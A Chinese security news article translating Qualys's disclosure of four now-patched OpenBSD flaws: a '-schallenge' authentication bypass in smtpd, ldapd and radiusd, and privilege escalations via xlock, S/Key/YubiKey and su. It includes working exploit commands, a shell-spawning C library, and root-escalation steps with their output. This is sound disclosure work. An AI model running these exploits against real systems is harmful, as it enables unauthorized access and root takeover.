查看原文
其他

开源操作系统 OpenBSD 被曝四个严重的认证绕过和提权漏洞(详情)

综合编译 代码卫士 2022-04-06
 聚焦源代码安全,网罗国内外最新资讯!
编译:奇安信代码卫士团队
具有安全基因、免费、基于 BSD 的类 Unix 开源操作系统 OpenBSD 被指存在四个高危安全漏洞。其中一个是存在于 BSD Auth 框架中传统的类型身份验证绕过漏洞,另外三个是可导致本地用户或恶意软件分别获取认证组、root 以及其它用户权限的提权漏洞。
本周早些时候,Qualys 研究实验室发现并报告了这些漏洞,而 OpenBSD 开发人员快速响应,在不到40小时的时间里迅速为 OpenBSD 6.5 和OpenBSD 6.6 发布补丁。
研究人员对这些漏洞的分析和案例研究如下:

CVE-2019-19521:身份验证绕过

研究人员在 OpenBSD 的认证系统中发现了认证绕过漏洞CVE-2019-19521。该漏洞存在于 OpenBSD 身份验证框架解析通过 smtpd、ldapd、radiusd、su 或 sshd 服务登录的用户提供的用户名方式中。虽然可在 smtpd、ldapd和 radiusd 中远程利用该漏洞,但应该采取具体案例具体分析的方法评估它的影响。例如,sshd 或su 中具有深入防御机制,即使在身份验证成功被绕过后会挂起连接,因此无法被利用。不过攻击者仍然能够通过利用 sshd 中的这个漏洞来判断 OpenBSD 是否易受影响。
具体分析
从 login.conf 手册可获悉:
OpenBSD 使用了 BSD 身份验证,它由多种身份验证方式组成。目前涵盖的验证方式如下:psswd:要求输入密码并将其和 master.passwd 文件中的密码进行比对。见 login_passwd(8)。skey:发送challenge并请求响应,通过 S/Key (tm) 身份验证进行检查。见 login_skey(8)。yubikey:使用 Yubico YubiKey 令牌进行验证。见 login_yubikey(8)。对于任何既定方式,均通过 /usr/libexec/auth/login_style 程序进行验证。该程序的概要为: /usr/libexec/auth/login_style [-v name=value][-s service] username clas
于是我们的第一个疑问是:如果攻击者指定了表单“-option”的用户名,那么就能够以预料之外的方法来影响身份验证程序的行为。
logi_passwd 的手册指出:
login_passwd [-s service] [-v wheel=yes|no] [-vlastchance=yes|no] user
                 [class]参数 service 指定了调用程序应该使用的协议。可以使用的协议是 login、challenge 和 response。(OpenBSD 的身份验证框架将“schallenge”解释为“-s challenge”,从而强制系统静默忽视challenge 协议,从而自动绕过该验证方式。由于密码验证方式并非基于 challenge-response,因此将会报告成功结果。)
这就造成第二个疑问:如果攻击者指定了用户名 “-schallenge”(或者指定“schallenge:passwd”来强制开展密码方式的身份验证),那么身份验证自动成功因此会被绕过。
1、案例研究:smtpd
为了演示smtpd的身份验证如何被绕过,我们按照 smtpd.conf 手册中的指令行事:

在第二个例子中,目的是允许邮件发送并仅为能够进行身份验证(使用正常的登录凭证)的用户中继。

...
listen on egress tls pki mail.example.com auth
...
match auth from any for any action "outbound"
之后我们重启了 smtpd。然后我们即可实施远程攻击:
$ printf '\0-schallenge\0whatever' | openssl base64AC1zY2hhbGxlbmdlAHdoYXRldmVy
$ openssl s_client -connect 192.168.56.121:25 -starttls smtp...EHLO client.example.com...AUTH PLAIN AC1zY2hhbGxlbmdlAHdoYXRldmVy235 2.0.0 Authentication succeeded
2、案例研究:ldapd
ldapd 手册指出:
ldapd 能够通过简单的绑定或者具有uPLAIN 机制的SASL 对用户进行身份验证。
当用户使用 SASL 绑定方式时,身份验证 ID 应该是BSD Authentication 的一个合法用户名。要使其接受明文形式的密码,连接必须是安全的,或者使用加密连接或者使用配置文件中的安全关键字。

在如此安全的连接中,远程攻击者可绕过 ldapd 的 SASL 身份验证方式:
$ ldapsearch -H ldap://192.168.56.121 -O none -U invaliduser -w whateverSASL/PLAIN authentication startedldap_sasl_interactive_bind_s: Invalid credentials (49)
$ ldapsearch -H ldap://192.168.56.121 -O none -U -schallenge -w whateverSASL/PLAIN authentication startedSASL username: -schallenge...# numResponses: 1-------------------------------
3、案例研究:radiusd
为了展示如何绕过 radiusd 的身份验证,我们截取了 radiusd.conf 手册中的配置示例:
module load "bsdauth" "/usr/libexec/radiusd/radiusd_bsdauth" ... authenticate * { authenticate-by "bsdauth" }
之后我们发送了如下的(成功)验证请求:
$ radiusctl test 192.168.56.121 secret -schallenge password whatever ... Reply-Message = "Authentication succeeded"
如果我们进一步修改 radiusd 的配置,限制对“operator”组成员的访问权限:
module set "bsdauth" "restrict-group" "operator"
并且发送身份验证请求,那么 radiusd_bsdauth 就会因为空指针取消引用而崩溃(因为 getpwnam(“-schallenge”) 返回 NULL):
80 int 81 main(int argc, char *argv[]) 82 {...192 pw = getpwnam(user);...197 if (gr->gr_gid == pw->pw_gid) {

4、案例研究:sshd
即使攻击者能够通过不合法用户如 “-schallenge” 绕过 sshd 的身份验证,sshd 最终会拒绝:
225 void 226 monitor_child_preauth(struct ssh *ssh, struct monitor *pmonitor) 227 { ... 229 int authenticated = 0, partial = 0; ... 249 while (!authenticated) { ... 288 } 289 290 if (!authctxt->valid) 291 fatal("%s: authenticated invalid user", __func__);

尽管如此,我们能够使用 sshd 远程测试 OpenBSD 系统是否易受 CVE-2019-19521 的影响:
$ ssh -v -F /dev/null -o PreferredAuthentications=keyboard-interactive \ -o KbdInteractiveDevices=bsdauth -l -sresponse:passwd 192.168.56.121...debug1: Next authentication method: keyboard-interactive

如果连接挂起,那么证明易受攻击,因为 sshd 等待 login_passwd 发送一个 challenge,而 login_passwd 等待 sshd 发送一个响应(因为 login_passwd 将用户名“-sresponse”作为一种选项进行拦截)。
5、案例研究:su
本地攻击者能够为不合法的用户“-schallenge”绕过 su 的身份验证,但 su 最终由于空指针取消引用而崩溃(因为 getpwnam(“-schallenge”,…) 返回 NULL):
$ su -L -- -schallengeSegmentation fault

CVE-2019-19520:xlock 中的本地提权

由于对 dlopen() 中所提供的环境路径的错误处理,OpenBSD 上默认安装的 xlock 可导致本地攻击者将权限提升至“auth”组。
OpenBSD 上默认安装 /usr/X11R6/bin/xlock,而且是 set-group-ID “auth”,而非 set-user-ID;因此下面的检查是不完整的而且应该使用 issetugid():
101 _X_HIDDEN void *102 driOpenDriver(const char *driverName)103 {...113 if (geteuid() == getuid()) {114 /* don't allow setuid apps to use LIBGL_DRIVERS_PATH */115 libPaths = getenv("LIBGL_DRIVERS_PATH");----------------------------------------------------
本地攻击者能够利用该漏洞并将自己的驱动 dlopen() 以获取“auth”组的权限:
$ iduid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
$ cd /tmp
$ cat > swrast_dri.c << "EOF"#include <paths.h>#include <sys/types.h>#include <unistd.h>
static void __attribute__ ((constructor)) _init (void) { gid_t rgid, egid, sgid; if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__); if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);
char * const argv[] = { _PATH_KSHELL, NULL }; execve(argv[0], argv, NULL); _exit(__LINE__);}EOF
$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c
$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &[1] 2706
$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66
$ iduid=32767(nobody) gid=11(auth) groups=32767(nobody)

CVE-2019-19522:经由 S/Key 和 YubiKey 的本地提取

由于对通过非默认配置“S/Key”和“YubiKey”的授权机制操作不正确,因此具有“auth”组权限的本地攻击者能够获取 root 用户的完整权限。具体而言:
如果启用了 S/Key 或 YubiKey 认证方式(它们均为默认安装但默认禁用),那么本地攻击者能够利用“auth”组的权限获取用户“root”的完整权限(因为 login_skey 和login_yubikey 不会验证 /etc/skey and /var/db/yubikey 中的文件是否属于正确的用户,而且这些目录均可由“auth”组写入)。
(注:要获取“auth”组的权限,本地攻击者可以首先利用 xlock 中的 CVE-2019-19520。
如果(通过 skeyinit -E)启用了 S/Key,那么具有“auth”权限的本地用户可为用户“root”增加一个 S/Key 条目(/etc/skey 中的文件)(如果该文件已存在,那么攻击者无法直接删除或更名,因为 /etc/skey 是粘性的:它已存在缓解措施,这个问题就留给感兴趣的读者吧):
$ iduid=32767(nobody) gid=11(auth) groups=32767(nobody)
$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root
$ chmod 0600 /etc/skey/root
$ env -i TERM=vt220 su -l -a skeyotp-md5 99 obsd91335S/Key Password: EGG LARD GROW HOG DRAG LAIN
# iduid=0(root) gid=0(wheel) ...
如果(通过 login.conf)启用了 YubiKey,具有“auth”权限的本地攻击者就能够为用户“root”增加一个 YubiKey 条目(/var/db/yubikey 中的两个文件)(如果这些文件已存在,那么攻击者就能够直接删除或更名,因为var/db/yubikey 不具有粘性):
$ iduid=32767(nobody) gid=11(auth) groups=32767(nobody)
$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid
$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key
$ env -i TERM=vt220 su -l -a yubikeyPassword: krkhgtuhdnjclrikikklulkldlutreul
# iduid=0(root) gid=0(wheel) ...

CVE-2019-19519:su 中的本地提取

由于 su 的其中一个主要函数中存在一个逻辑错误,导致本地攻击者能够通过利用 su 的–L 选项实现任意用户的登录类(通常不包括 root)。
本地攻击者能够利用 su 的–L 选项(“一直循环,直到输入正确的用户名密码组合为止”)以自己的身份登录但使用的是其它用户的登录类(如果攻击者不在“wheel”组中则是root 的登录类),因为该类变量只设置一次而且不会重置:
60 int 61 main(int argc, char **argv) 62 {...174 for (;;) {...210 if (!class && pwd && pwd->pw_class && pwd->pw_class[0] != '\0')211 class = strdup(pwd->pw_class);
在如下示例中,Jane(属于"wheel”组的一个成员)以 root 登录类("daemon”)登录,从而增加了她的登录级别资源限制:
$ iduid=1000(jane) gid=1000(jane) groups=1000(jane), 0(wheel)
$ ulimit -H -a...processes 512
$ su -l -Llogin: rootPassword:Login incorrectlogin: janePassword:
$ iduid=1000(jane) gid=1000(jane) groups=1000(jane), 0(wheel)
$ ulimit -H -a...processes 1310
在如下例子中,John(并非“wheel”组的成员),以 _pbuild 的登录类 (“pbuild”) 登录,从而降低了他的登录级别资源限制:
$ iduid=1001(john) gid=1001(john) groups=1001(john)
$ ulimit -H -a...data(kbytes) 786432...processes 256
$ su -l -Llogin: _pbuildPassword:Login incorrectlogin: johnPassword:
$ iduid=1001(john) gid=1001(john) groups=1001(john)
$ ulimit -H -a...data(kbytes) 33554432...processes 1024




推荐阅读

出于安全考虑,OpenBSD 禁用英特尔 CPU 超线程



原文链接

https://www.qualys.com/2019/12/04/cve-2019-19521/authentication-vulnerabilities-openbsd.txt?_ga=2.58244398.587934852.1575530822-682141427.1570559125

https://thehackernews.com/2019/12/openbsd-authentication-vulnerability.html



题图:Pixabay License



本文由奇安信代码卫士编译,不代表奇安信观点,转载请注明“转自奇安信代码卫士 www.codesafe.cn”



奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的产品线。



您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存